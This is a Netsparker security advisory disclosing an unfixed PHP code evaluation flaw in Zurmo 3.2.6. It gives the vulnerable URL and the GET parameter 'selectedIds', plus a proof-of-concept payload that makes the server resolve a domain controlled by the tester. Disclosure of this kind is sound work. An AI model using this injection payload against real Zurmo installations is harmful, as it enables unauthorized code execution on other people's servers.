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Out of Band Code Evaluation Vulnerability in Zurmo 3.2.6  
  
Information  
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Advisory by Netsparker  
Name: Out of Band Code Evaluation in Zurmo  
Affected Software: Zurmo  
Affected Versions: 3.2.6  
Homepage: http://zurmo.org  
Vulnerability: Out of Band Code Evaluation  
Severity: Critical  
Status: Not Fixed  
Netsparker Advisory Reference: NS-19-009  
  
Technical Details  
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URL: http://{DOMAIN}/zurmo/app/index.php/contacts/default/?_=1557483057859&ajax=list-view&Contact_page=&Contact_sort=&selectedIds=gethostbyname(trim('jnakpvs_zm8e35fk-ro1tuqv0l91lzlao8tgo6_5'.'6j4.r87.me'))  
Parameter Name: selectedIds  
Parameter Type: GET  
Attack Pattern: gethostbyname(trim(%27jnakpvs_zm8e35fk-ro1tuqv0l91lzlao8tgo6_5%27.%276j4.r87.me%27))  
  
Information  
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Netsparker identified a Remote Code Evaluation (PHP) by capturing a DNS A request, which occurs when input data is run as code.  
  
Advisory Timeline  
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17th May 2019 - First Attempted Contact  
25th July 2019 - Advisory Released  
  
Credits & Authors  
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These issues have been discovered by Umran Yildirimkaya while testing the Netsparker Web Application Security Scanner.  
  
About Netsparker  
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Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.